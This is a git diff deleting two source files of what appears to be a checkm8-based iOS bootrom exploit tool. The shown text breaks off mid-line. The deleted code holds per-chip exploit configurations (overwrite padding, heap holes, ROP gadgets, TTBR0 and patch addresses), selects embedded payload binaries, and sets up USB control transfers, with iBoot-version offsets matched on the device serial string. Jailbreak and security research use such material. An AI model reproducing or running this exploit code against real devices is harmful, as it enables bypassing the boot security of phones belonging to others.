diff --git a/src/checkm8/payload.c b/src/checkm8/payload.c deleted file mode 100644 index 8c9359e..0000000 --- a/src/checkm8/payload.c +++ /dev/null @@ -1,294 +0,0 @@ -#include "payload.h" - -#include -#include - -#include "../utils/log.h" - -extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[]; -extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len; - -extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[]; -extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len; - -#include "../gen/payloads/yolo_s8000.h" -#include "../gen/payloads/yolo_s8001.h" -#include "../gen/payloads/yolo_s8003.h" -#include "../gen/payloads/yolo_t7000.h" -#include "../gen/payloads/yolo_t7001.h" -#include "../gen/payloads/yolo_t8010.h" -#include "../gen/payloads/yolo_t8011.h" -#include "../gen/payloads/yolo_t8015.h" - -bool checkm8_find_device_configuration_for_cpid( - int cpid, - struct DeviceConfiguration *config) -{ - bool foundMatchingConfiguration = true; - switch (cpid) { - case 0x8015: - case 0x8012: - case 0x8011: - config->cpid = cpid; - config->config_large_leak = 0; - config->config_overwrite_pad = 0x540; - config->config_hole = 6; - break; - case 0x8010: - config->cpid = cpid; - config->config_large_leak = 0; - config->config_overwrite_pad = 0x5C0; - config->config_hole = 5; - break; - case 0x8001: - config->cpid = cpid; - config->config_large_leak = 0; - config->config_overwrite_pad = 0x5C0; - config->config_hole = 6; - break; - case 0x8003: - case 0x8000: - case 0x7001: - case 0x7000: - config->cpid = cpid; - config->config_large_leak = 0; - config->config_overwrite_pad = 0x500; - config->config_hole = 0; - break; - default: - LOG("CPID 0x%x is not supported!", cpid); - if (cpid > 0x8015) { - LOG("arm64e devices (A12 and newer) will never be supported."); - } - - foundMatchingConfiguration = false; - break; - } - return foundMatchingConfiguration; -} - -bool checkm8_find_payload_configuration_for_cpid( - int cpid, - struct PayloadConfiguration *config) -{ - bool foundMatchingConfiguration = true; - switch (cpid) { - case 0x8015: - config->tlbi = 0x1000004AC; - config->nop_gadget = 0x10000A9C4; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x10000624C; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x10000A9AC; - config->write_ttbr0 = 0x10000045C; - config->memcpy_addr = 0x10000E9D0; - config->aes_crypto_cmd = 0x100009E9C; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003A78; - config->dfu_handle_request = 0x180008638; - config->usb_core_do_transfer = 0x10000B9A8; - config->dfu_handle_bus_reset = 0x180008668; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BCCC; - config->usb_create_string_descriptor = 0x10000AE80; - config->usb_serial_number_string_descriptor = 0x1800008FA; - break; - case 0x8012: - config->tlbi = 0x100000494; - config->nop_gadget = 0x100008DB8; - config->ret_gadget = 0x10000012C; - config->patch_addr = 0x100004854; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x100008DA0; - config->write_ttbr0 = 0x100000444; - config->memcpy_addr = 0x10000EA30; - config->aes_crypto_cmd = 0x1000082AC; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003AF8; - config->dfu_handle_request = 0x180008B08; - config->usb_core_do_transfer = 0x10000BD20; - config->dfu_handle_bus_reset = 0x180008B38; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BFFC; - config->usb_create_string_descriptor = 0x10000B1CC; - config->usb_serial_number_string_descriptor = 0x18000082A; - break; - case 0x8011: - config->tlbi = 0x100000444; - config->nop_gadget = 0x10000CD0C; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x100007630; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CCEC; - config->write_ttbr0 = 0x1000003F4; - config->memcpy_addr = 0x100010950; - config->aes_crypto_cmd = 0x10000C994; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083D28; - config->dfu_handle_request = 0x180088A58; - config->usb_core_do_transfer = 0x10000DD64; - config->dfu_handle_bus_reset = 0x180088A88; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000E08C; - config->usb_create_string_descriptor = 0x10000D234; - config->usb_serial_number_string_descriptor = 0x18008062A; - break; - case 0x8010: - config->tlbi = 0x100000434; - config->nop_gadget = 0x10000CC6C; - config->ret_gadget = 0x10000015C; - config->patch_addr = 0x1000074AC; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CC4C; - config->write_ttbr0 = 0x1000003E4; - config->memcpy_addr = 0x100010730; - config->aes_crypto_cmd = 0x10000C8F4; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083CF8; - config->dfu_handle_request = 0x180088B48; - config->usb_core_do_transfer = 0x10000DC98; - config->dfu_handle_bus_reset = 0x180088B78; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000DFB8; - config->usb_create_string_descriptor = 0x10000D150; - config->usb_serial_number_string_descriptor = 0x1800805DA; - break; - case 0x8001: - config->tlbi = 0x100000404; - config->nop_gadget = 0x10000CD60; - config->ret_gadget = 0x100000118; - config->patch_addr = 0x100007668; - config->ttbr0_addr = 0x180050000; - config->func_gadget = 0x10000CD40; - config->write_ttbr0 = 0x1000003B4; - config->memcpy_addr = 0x1000106F0; - config->aes_crypto_cmd = 0x10000C9D4; - config->boot_tramp_end = 0x180044000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180047578; - config->dfu_handle_request = 0x18004C378; - config->usb_core_do_transfer = 0x10000DDA4; - config->dfu_handle_bus_reset = 0x18004C3A8; - config->insecure_memory_base = 0x180000000; - config->handle_interface_request = 0x10000E0B4; - config->usb_create_string_descriptor = 0x10000D280; - config->usb_serial_number_string_descriptor = 0x18004486A; - break; - case 0x8003: - case 0x8000: - config->patch_addr = 0x10000812C; - config->ttbr0_addr = 0x1800C8000; - config->memcpy_addr = 0x100011030; - config->aes_crypto_cmd = 0x10000DAA0; - config->boot_tramp_end = 0x1800E1000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180087958; - config->dfu_handle_request = 0x1800878F8; - config->usb_core_do_transfer = 0x10000EE78; - config->dfu_handle_bus_reset = 0x180087928; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000F1B0; - config->usb_create_string_descriptor = 0x10000E354; - config->usb_serial_number_string_descriptor = 0x1800807DA; - break; - case 0x7001: - config->patch_addr = 0x10000AD04; - config->memcpy_addr = 0x100013F10; - config->aes_crypto_cmd = 0x100010A90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x180088E48; - config->dfu_handle_request = 0x180088DF8; - config->usb_core_do_transfer = 0x100011BB4; - config->dfu_handle_bus_reset = 0x180088E18; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x100011EE4; - config->usb_create_string_descriptor = 0x100011074; - config->usb_serial_number_string_descriptor = 0x180080C2A; - break; - case 0x7000: - config->patch_addr = 0x100007E98; - config->memcpy_addr = 0x100010E70; - config->aes_crypto_cmd = 0x10000DA90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x1800888C8; - config->dfu_handle_request = 0x180088878; - config->usb_core_do_transfer = 0x10000EBB4; - config->dfu_handle_bus_reset = 0x180088898; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000EEE4; - config->usb_create_string_descriptor = 0x10000E074; - config->usb_serial_number_string_descriptor = 0x18008062A; - break; - default: - LOG("CPID 0x%x is not supported!", cpid); - foundMatchingConfiguration = false; - } - return foundMatchingConfiguration; -} - -void create_pongo_payload_for_device( - uint16_t cpid, - uint8_t **payload, - size_t *payloadSize) -{ - LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid); - - *payload = NULL; - *payloadSize = 0; - - switch (cpid) { - case 0x8015: - *payloadSize = payloads_yolo_t8015_bin_len; - *payload = payloads_yolo_t8015_bin; - break; - - case 0x8011: - *payloadSize = payloads_yolo_t8011_bin_len; - *payload = payloads_yolo_t8011_bin; - break; - - case 0x8010: - *payloadSize = payloads_yolo_t8010_bin_len; - *payload = payloads_yolo_t8010_bin; - break; - - case 0x8003: - *payloadSize = payloads_yolo_s8003_bin_len; - *payload = payloads_yolo_s8003_bin; - break; - - case 0x8001: - *payloadSize = payloads_yolo_s8001_bin_len; - *payload = payloads_yolo_s8001_bin; - break; - - case 0x8000: - *payloadSize = payloads_yolo_s8000_bin_len; - *payload = payloads_yolo_s8000_bin; - break; - - case 0x7001: - *payloadSize = payloads_yolo_t7001_bin_len; - *payload = payloads_yolo_t7001_bin; - break; - - case 0x7000: - *payloadSize = payloads_yolo_t7000_bin_len; - *payload = payloads_yolo_t7000_bin; - break; - - default: - LOG("Failed to prepare payload for device with CPID 0x%x.", cpid); - break; - } -} diff --git a/src/checkm8/run.c b/src/checkm8/run.c deleted file mode 100644 index c8f8584..0000000 --- a/src/checkm8/run.c +++ /dev/null @@ -1,1019 +0,0 @@ -#include "run.h" - -bool stopThreads = false; - -#ifndef __APPLE__ -# include -# include -# include -# include -# include -#else -# include -# include -# include -# include -#endif - -#include "../utils/log.h" - -#include "payload.h" -#include "dfu.h" - -#include "../gen/payloads/Pongo.h" -#include "../gen/payloads/lz4dec.h" - -static uint16_t cpid; -static uint32_t payload_dest_armv7; -static const char *pwnd_str = " YOLO:checkra1n"; -static struct { - uint8_t b_len, b_descriptor_type; - uint16_t bcd_usb; - uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; - uint16_t id_vendor, id_product, bcd_device; - uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; -} device_descriptor; -static size_t config_hole, ttbr0_vrom_off, ttbr0_sram_off, config_large_leak, config_overwrite_pad; -static uint64_t tlbi, nop_gadget, ret_gadget, patch_addr, ttbr0_addr, func_gadget, write_ttbr0, memcpy_addr, aes_crypto_cmd, boot_tramp_end, gUSBSerialNumber, dfu_handle_request, usb_core_do_transfer, dfu_handle_bus_reset, insecure_memory_base, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; - -static void sleep_ms(unsigned ms) { - #ifdef __WIN32 - Sleep(ms); - #else - struct timespec ts; - - ts.tv_sec = ms / 1000; - ts.tv_nsec = (ms % 1000) * 1000000L; - nanosleep(&ts, NULL); - #endif -} - -#ifndef __APPLE__ -static void close_usb_handle(usb_handle_t *handle) { - libusb_close(handle->device); - libusb_exit(NULL); -} - -static void reset_usb_handle(const usb_handle_t *handle) { - libusb_reset_device(handle->device); -} - -static bool wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { - if (stopThreads) { - LOG("Thread stopped."); - return false; - } - - if(libusb_init(NULL) == LIBUSB_SUCCESS) { - for(;;) { - if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { - if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS && (usb_check_cb == NULL || usb_check_cb(handle, arg))) { - return true; - } - libusb_close(handle->device); - } - sleep_ms(USB_TIMEOUT); - } - } - return false; -} - -static void usb_async_cb(struct libusb_transfer *transfer) { - *(int *)transfer->user_data = 1; -} - -static bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT); - - if(transfer_ret != NULL) { - if(ret >= 0) { - transfer_ret->sz = (uint32_t)ret; - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == LIBUSB_ERROR_PIPE) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -static bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - struct libusb_transfer *transfer = libusb_alloc_transfer(0); - struct timeval tv; - int completed = 0; - uint8_t *buf; - - if(transfer != NULL) { - if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { - if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { - memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); - } - libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); - libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT); - if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { - tv.tv_sec = usb_abort_timeout / 1000; - tv.tv_usec = (usb_abort_timeout % 1000) * 1000; - while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { - libusb_cancel_transfer(transfer); - } - if(completed != 0) { - if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { - memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); - } - if(transfer_ret != NULL) { - transfer_ret->sz = (uint32_t)transfer->actual_length; - if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { - transfer_ret->ret = USB_TRANSFER_OK; - } else if(transfer->status == LIBUSB_TRANSFER_STALL) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - } - } - free(buf); - } - libusb_free_transfer(transfer); - } - return completed != 0; -} - -static void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { - handle->vid = vid; - handle->pid = pid; - handle->device = NULL; -} -#else -static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { - CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); - - if(cf_val != NULL) { - CFDictionarySetValue(dict, key, cf_val); - CFRelease(cf_val); - } -} - -static bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { - IOCFPlugInInterface **plugin_interface; - bool ret = false; - SInt32 score; - - if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { - ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; - IODestroyPlugInInterface(plugin_interface); - } - IOObjectRelease(serv); - return ret; -} - -static void close_usb_device(usb_handle_t *handle) { - CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); - CFRelease(handle->async_event_source); - (*handle->device)->USBDeviceClose(handle->device); - (*handle->device)->Release(handle->device); -} - -static void close_usb_handle(usb_handle_t *handle) { - close_usb_device(handle); -} - -static bool open_usb_device(io_service_t serv, usb_handle_t *handle) { - bool ret = false; - - if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) { - if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) { - if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) { - CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); - ret = true; - } else { - (*handle->device)->USBDeviceClose(handle->device); - } - } - if(!ret) { - (*handle->device)->Release(handle->device); - } - } - return ret; -} - -static bool wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { - if (stopThreads) { - LOG("Thread stopped."); - return false; - } - - CFMutableDictionaryRef matching_dict; - const char *darwin_device_class; - io_iterator_t iter; - io_service_t serv; - bool ret = false; - - #if TARGET_OS_IPHONE - darwin_device_class = "IOUSBHostDevice"; - #else - darwin_device_class = kIOUSBDeviceClassName; - #endif - - while((matching_dict = IOServiceMatching(darwin_device_class)) != NULL) { - cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); - cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); - if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) { - while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { - if(open_usb_device(serv, handle)) { - if(usb_check_cb == NULL || usb_check_cb(handle, arg)) { - ret = true; - break; - } - close_usb_device(handle); - } - } - IOObjectRelease(iter); - if(ret) { - break; - } - sleep_ms(USB_TIMEOUT); - } - } - return ret; -} - -static void reset_usb_handle(usb_handle_t *handle) { - (*handle->device)->ResetDevice(handle->device); - (*handle->device)->USBDeviceReEnumerate(handle->device, 0); -} - -static void usb_async_cb(void *refcon, IOReturn ret, void *arg) { - transfer_ret_t *transfer_ret = refcon; - - if(transfer_ret != NULL) { - memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); - if(ret == kIOReturnSuccess) { - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == kUSBPipeStalled) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - CFRunLoopStop(CFRunLoopGetCurrent()); -} - -static bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - IOUSBDevRequestTO req; - IOReturn ret; - - req.wLenDone = 0; - req.pData = p_data; - req.bRequest = b_request; - req.bmRequestType = bm_request_type; - req.wLength = OSSwapLittleToHostInt16(w_len); - req.wValue = OSSwapLittleToHostInt16(w_value); - req.wIndex = OSSwapLittleToHostInt16(w_index); - req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; - ret = (*handle->device)->DeviceRequestTO(handle->device, &req); - if(transfer_ret != NULL) { - if(ret == kIOReturnSuccess) { - transfer_ret->sz = req.wLenDone; - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == kUSBPipeStalled) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -static bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - IOUSBDevRequestTO req; - - req.wLenDone = 0; - req.pData = p_data; - req.bRequest = b_request; - req.bmRequestType = bm_request_type; - req.wLength = OSSwapLittleToHostInt16(w_len); - req.wValue = OSSwapLittleToHostInt16(w_value); - req.wIndex = OSSwapLittleToHostInt16(w_index); - req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; - if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) { - sleep_ms(usb_abort_timeout); - if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { - CFRunLoopRun(); - return true; - } - } - return false; -} - -static void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { - handle->vid = vid; - handle->pid = pid; - handle->device = NULL; -} -#endif - -static bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) { - bool ret = false; - void *p_data; - - if(w_len == 0) { - ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret); - } else if((p_data = malloc(w_len)) != NULL) { - memset(p_data, '\0', w_len); - ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret); - free(p_data); - } - return ret; -} - -static bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - bool ret = false; - void *p_data; - - if(w_len == 0) { - ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret); - } else if((p_data = malloc(w_len)) != NULL) { - memset(p_data, '\0', w_len); - ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret); - free(p_data); - } - return ret; -} - -static char * get_usb_serial_number(usb_handle_t *handle) { - transfer_ret_t transfer_ret; - uint8_t buf[UINT8_MAX]; - char *str = NULL; - size_t i, sz; - - if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) { - for(i = 0; i < sz; ++i) { - str[i] = (char)buf[2 * (i + 1)]; - } - str[sz - 1] = '\0'; - } - return str; -} - -static bool checkm8_check_usb_device(usb_handle_t *handle, void *pwned) { - char *usb_serial_num = get_usb_serial_number(handle); - bool ret = false; - - if(usb_serial_num != NULL) { - if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3]") != NULL) { - cpid = 0x8950; - config_large_leak = 659; - config_overwrite_pad = 0x640; - memcpy_addr = 0x9ACC; - aes_crypto_cmd = 0x7301; - gUSBSerialNumber = 0x10061F80; - dfu_handle_request = 0x10061A24; - payload_dest_armv7 = 0x10079800; - usb_core_do_transfer = 0x7621; - dfu_handle_bus_reset = 0x10061A3C; - insecure_memory_base = 0x10000000; - handle_interface_request = 0x8161; - usb_create_string_descriptor = 0x7C55; - usb_serial_number_string_descriptor = 0x100600D8; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3.3]") != NULL) { - cpid = 0x8955; - config_large_leak = 659; - config_overwrite_pad = 0x640; - memcpy_addr = 0x9B0C; - aes_crypto_cmd = 0x7341; - gUSBSerialNumber = 0x10061F80; - dfu_handle_request = 0x10061A24; - payload_dest_armv7 = 0x10079800; - usb_core_do_transfer = 0x7661; - dfu_handle_bus_reset = 0x10061A3C; - insecure_memory_base = 0x10000000; - handle_interface_request = 0x81A1; - usb_create_string_descriptor = 0x7C95; - usb_serial_number_string_descriptor = 0x100600D8; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-1458.2]") != NULL) { - cpid = 0x8947; - config_large_leak = 626; - config_overwrite_pad = 0x660; - memcpy_addr = 0x9A3C; - aes_crypto_cmd = 0x7061; - gUSBSerialNumber = 0x3402DDF8; - dfu_handle_request = 0x3402D92C; - payload_dest_armv7 = 0x34039800; - usb_core_do_transfer = 0x79ED; - dfu_handle_bus_reset = 0x3402D944; - insecure_memory_base = 0x34000000; - handle_interface_request = 0x7BC9; - usb_create_string_descriptor = 0x72A9; - usb_serial_number_string_descriptor = 0x3402C2DA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) { - cpid = 0x8960; - config_large_leak = 7936; - config_overwrite_pad = 0x5C0; - patch_addr = 0x100005CE0; - memcpy_addr = 0x10000ED50; - aes_crypto_cmd = 0x10000B9A8; - boot_tramp_end = 0x1800E1000; - gUSBSerialNumber = 0x180086CDC; - dfu_handle_request = 0x180086C70; - usb_core_do_transfer = 0x10000CC78; - dfu_handle_bus_reset = 0x180086CA0; - insecure_memory_base = 0x180380000; - handle_interface_request = 0x10000CFB4; - usb_create_string_descriptor = 0x10000BFEC; - usb_serial_number_string_descriptor = 0x180080562; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL) { - cpid = 0x7001; - config_overwrite_pad = 0x500; - patch_addr = 0x10000AD04; - memcpy_addr = 0x100013F10; - aes_crypto_cmd = 0x100010A90; - boot_tramp_end = 0x1800E1000; - gUSBSerialNumber = 0x180088E48; - dfu_handle_request = 0x180088DF8; - usb_core_do_transfer = 0x100011BB4; - dfu_handle_bus_reset = 0x180088E18; - insecure_memory_base = 0x180380000; - handle_interface_request = 0x100011EE4; - usb_create_string_descriptor = 0x100011074; - usb_serial_number_string_descriptor = 0x180080C2A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL) { - cpid = 0x7000; - config_overwrite_pad = 0x500; - patch_addr = 0x100007E98; - memcpy_addr = 0x100010E70; - aes_crypto_cmd = 0x10000DA90; - boot_tramp_end = 0x1800E1000; - gUSBSerialNumber = 0x1800888C8; - dfu_handle_request = 0x180088878; - usb_core_do_transfer = 0x10000EBB4; - dfu_handle_bus_reset = 0x180088898; - insecure_memory_base = 0x180380000; - handle_interface_request = 0x10000EEE4; - usb_create_string_descriptor = 0x10000E074; - usb_serial_number_string_descriptor = 0x18008062A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2098.0.0.2.4]") != NULL) { - cpid = 0x7002; - config_overwrite_pad = 0x500; - memcpy_addr = 0x89F4; - aes_crypto_cmd = 0x6341; - gUSBSerialNumber = 0x46005958; - dfu_handle_request = 0x46005898; - payload_dest_armv7 = 0x46007800; - usb_core_do_transfer = 0x6E59; - dfu_handle_bus_reset = 0x460058B0; - insecure_memory_base = 0x46018000; - handle_interface_request = 0x7081; - usb_create_string_descriptor = 0x6745; - usb_serial_number_string_descriptor = 0x4600034A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL) { - cpid = 0x8003; - config_overwrite_pad = 0x500; - patch_addr = 0x10000812C; - ttbr0_addr = 0x1800C8000; - memcpy_addr = 0x100011030; - aes_crypto_cmd = 0x10000DAA0; - ttbr0_vrom_off = 0x400; - boot_tramp_end = 0x1800E1000; - gUSBSerialNumber = 0x180087958; - dfu_handle_request = 0x1800878F8; - usb_core_do_transfer = 0x10000EE78; - dfu_handle_bus_reset = 0x180087928; - insecure_memory_base = 0x180380000; - handle_interface_request = 0x10000F1B0; - usb_create_string_descriptor = 0x10000E354; - usb_serial_number_string_descriptor = 0x1800807DA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL) { - cpid = 0x8000; - config_overwrite_pad = 0x500; - patch_addr = 0x10000812C; - ttbr0_addr = 0x1800C8000; - memcpy_addr = 0x100011030; - aes_crypto_cmd = 0x10000DAA0; - ttbr0_vrom_off = 0x400; - boot_tramp_end = 0x1800E1000; - gUSBSerialNumber = 0x180087958; - dfu_handle_request = 0x1800878F8; - usb_core_do_transfer = 0x10000EE78; - dfu_handle_bus_reset = 0x180087928; - insecure_memory_base = 0x180380000; - handle_interface_request = 0x10000F1B0; - usb_create_string_descriptor = 0x10000E354; - usb_serial_number_string_descriptor = 0x1800807DA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL) { - cpid = 0x8001; - config_hole = 6; - config_overwrite_pad = 0x5C0; - tlbi = 0x100000404; - nop_gadget = 0x10000CD60; - ret_gadget = 0x100000118; - patch_addr = 0x100007668; - ttbr0_addr = 0x180050000; - func_gadget = 0x10000CD40; - write_ttbr0 = 0x1000003B4; - memcpy_addr = 0x1000106F0; - aes_crypto_cmd = 0x10000C9D4; - boot_tramp_end = 0x180044000; - ttbr0_vrom_off = 0x400; - ttbr0_sram_off = 0x600; - gUSBSerialNumber = 0x180047578; - dfu_handle_request = 0x18004C378; - usb_core_do_transfer = 0x10000DDA4; - dfu_handle_bus_reset = 0x18004C3A8; - insecure_memory_base = 0x180000000; - handle_interface_request = 0x10000E0B4; - usb_create_string_descriptor = 0x10000D280; - usb_serial_number_string_descriptor = 0x18004486A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.1.31]") != NULL) { - cpid = 0x8002; - config_hole = 5; - config_overwrite_pad = 0x5C0; - memcpy_addr = 0xB6F8; - aes_crypto_cmd = 0x86DD; - gUSBSerialNumber = 0x48802AB8; - dfu_handle_request = 0x48806344; - payload_dest_armv7 = 0x48806E00; - usb_core_do_transfer = 0x9411; - dfu_handle_bus_reset = 0x4880635C; - insecure_memory_base = 0x48818000; - handle_interface_request = 0x95F1; - usb_create_string_descriptor = 0x8CA5; - usb_serial_number_string_descriptor = 0x4880037A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.3.3]") != NULL) { - cpid = 0x8004; - config_hole = 5; - config_overwrite_pad = 0x5C0; - memcpy_addr = 0xA884; - aes_crypto_cmd = 0x786D; - gUSBSerialNumber = 0x48802AE8; - dfu_handle_request = 0x48806384; - payload_dest_armv7 = 0x48806E00; - usb_core_do_transfer = 0x85A1; - dfu_handle_bus_reset = 0x4880639C; - insecure_memory_base = 0x48818000; - handle_interface_request = 0x877D; - usb_create_string_descriptor = 